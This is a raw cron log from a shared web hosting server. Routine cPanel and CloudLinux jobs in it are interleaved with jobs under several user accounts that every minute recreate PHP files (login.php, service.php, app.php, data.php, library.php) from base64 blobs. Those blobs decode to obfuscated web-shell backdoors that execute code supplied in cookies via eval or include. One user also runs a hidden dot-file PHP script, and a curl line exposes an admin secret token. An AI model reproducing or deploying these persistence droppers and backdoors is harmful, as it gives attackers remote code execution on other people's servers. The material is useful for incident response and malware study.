Jun  7 13:53:02 medusa CROND[10646]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:54:02 medusa CROND[12464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:54:02 medusa CROND[12465]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:54:02 medusa CROND[12466]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 13:54:02 medusa CROND[12467]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:54:02 medusa CROND[12468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:54:02 medusa CROND[12469]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:54:02 medusa CROND[12471]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:54:02 medusa CROND[12473]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:54:02 medusa CROND[12475]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:54:02 medusa CROND[12478]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:54:02 medusa CROND[12479]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:54:02 medusa CROND[12484]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:54:02 medusa CROND[12486]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:55:01 medusa CROND[14462]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 13:55:01 medusa CROND[14468]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 13:55:01 medusa CROND[14470]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 13:55:01 medusa CROND[14471]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 13:55:01 medusa CROND[14480]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:55:01 medusa CROND[14481]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:55:01 medusa CROND[14482]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 13:55:01 medusa CROND[14483]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:55:01 medusa CROND[14489]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:55:01 medusa CROND[14490]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:55:01 medusa CROND[14488]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 13:55:01 medusa CROND[14494]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:55:01 medusa CROND[14495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:55:01 medusa CROND[14498]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 13:55:01 medusa CROND[14501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 13:55:01 medusa CROND[14503]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:55:01 medusa CROND[14506]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:55:01 medusa CROND[14499]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 13:55:01 medusa CROND[14507]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:55:01 medusa CROND[14509]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 13:55:01 medusa CROND[14502]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 13:55:01 medusa CROND[14504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:56:01 medusa CROND[16162]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:56:01 medusa CROND[16164]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 13:56:01 medusa CROND[16169]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:56:01 medusa CROND[16170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:56:01 medusa CROND[16171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:56:01 medusa CROND[16172]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 13:56:01 medusa CROND[16173]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:56:01 medusa CROND[16174]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
